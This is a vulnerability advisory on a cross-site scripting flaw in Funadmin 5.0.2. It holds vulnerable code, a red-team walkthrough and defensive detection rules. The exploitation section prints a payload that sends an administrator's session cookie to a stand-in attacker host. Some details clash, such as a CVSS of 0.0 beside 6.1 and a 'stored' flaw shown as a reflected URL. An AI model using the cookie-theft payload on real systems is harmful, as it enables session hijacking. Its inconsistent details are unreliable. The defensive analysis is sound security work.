CVE-2024-48228

Executive Summary

CVE-2024-48228 is a stored Cross-Site Scripting (XSS) vulnerability discovered in Funadmin version 5.0.2. The flaw resides in the selectfiles method within /backend/controller/sys/Attachh.php. The application directly stores user-supplied parameters and values into the param parameter without any sanitization or filtering, allowing an attacker to inject arbitrary JavaScript code. This can lead to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement for user interaction. No official patch has been released as of the analysis date.

Supply Chain & Package Security

Funadmin is a PHP-based open-source admin panel. The vulnerability is in the core backend controller, not in a third-party package. However, if Funadmin is deployed via Composer or Docker, the supply chain risk is limited to the integrity of the Funadmin source itself. No known malicious packages are associated with this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed to trigger the XSS.
• User Interaction: Required (UI:R) – The victim must click a crafted link or visit a malicious page.
• Scope: Changed (S:C) – The injected script can affect other web resources.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of content.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The XSS is stored, meaning the payload persists and can affect multiple users. However, user interaction is required.

Deep Dive & Mechanics

The vulnerability is in the selectfiles method of the Attachh.php controller. This method is used to handle file selection operations in the admin panel. The code directly takes HTTP request parameters (e.g., param) and stores them into the database or renders them in a response without any output encoding or input validation.

Root Cause: Lack of input sanitization and output encoding. The param parameter is passed directly to a view or stored in a database field that is later rendered in HTML context.

Attack Vector: An attacker can craft a URL or POST request to the selectfiles endpoint with a malicious payload in the param parameter. For example:

/backend/sys/attachh/selectfiles?param=<script>alert('XSS')</script>

When an administrator or user accesses the file selection interface, the injected script executes in their browser.

Impact: The attacker can steal session cookies, perform actions on behalf of the victim, or deface the admin panel.

Vulnerable vs. Patched Code

Vulnerable Code (Funadmin 5.0.2):

// /backend/controller/sys/Attachh.php
public function selectfiles()
{
    $param = $this->request->param('param');
    // Directly stored/rendered without sanitization
    $this->assign('param', $param);
    return $this->fetch();
}

Patched Code (Hypothetical):

// /backend/controller/sys/Attachh.php
public function selectfiles()
{
    $param = $this->request->param('param');
    // Sanitize input
    $param = htmlspecialchars($param, ENT_QUOTES, 'UTF-8');
    $this->assign('param', $param);
    return $this->fetch();
}

No official patch is available. The fix should use htmlspecialchars() or a templating engine's auto-escaping feature.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Funadmin 5.0.2 instance accessible.
• No authentication required for the vulnerable endpoint.

Exploit Steps:

1. Craft a malicious URL:

   http://target.com/backend/sys/attachh/selectfiles?param=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
   

2. Send the link to an admin via email or social engineering.
3. When the admin clicks, the script executes and sends their session cookie to the attacker's server.

Proof-of-Concept (PoC):

<!-- PoC HTML page -->
<a href="http://target.com/backend/sys/attachh/selectfiles?param=<script>alert('XSS')</script>">Click me</a>

Blue Team (Detection & Hardening)

Detection:

• Monitor web logs for requests to /backend/sys/attachh/selectfiles with suspicious param values containing <script> or onerror attributes.
• Use WAF rules to block XSS patterns in query parameters.

Hardening:

• Apply input validation: whitelist allowed characters for param.
• Use output encoding in all views.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• URL Pattern: /backend/sys/attachh/selectfiles?param=*
• Log Entry: GET /backend/sys/attachh/selectfiles?param=<script>...
• Network Traffic: Outbound connections to attacker-controlled domains from the admin browser.
• File Artifacts: Modified database entries in the param field containing JavaScript.

Detection Engineering

YARA Rule

rule CVE_2024_48228_XSS {
    meta:
        description = "Detects XSS payload in Funadmin selectfiles param"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-48228"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-48228 Funadmin XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts against Funadmin selectfiles endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/backend/sys/attachh/selectfiles?param='
        cs-uri-query|contains|all:
            - '<'
            - '>'
            - 'script'
    condition: selection
falsepositives:
    - Legitimate use of HTML tags in param (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-48228 Funadmin XSS Attempt"; flow:to_server,established; content:"/backend/sys/attachh/selectfiles"; http_uri; content:"param="; http_uri; pcre:"/param=.*<script/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not needed: Block access to /backend/sys/attachh/selectfiles via web server configuration.
2. Apply a WAF rule to block XSS patterns in the param parameter.
3. Manually patch the code by adding htmlspecialchars() to the param value in Attachh.php.

Long-term Fix:

• Upgrade to a patched version of Funadmin when available.
• Implement a security review process for all controller methods.
• Use a templating engine with auto-escaping (e.g., Twig).

Workaround:

• Restrict access to the admin panel via IP whitelisting or VPN.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst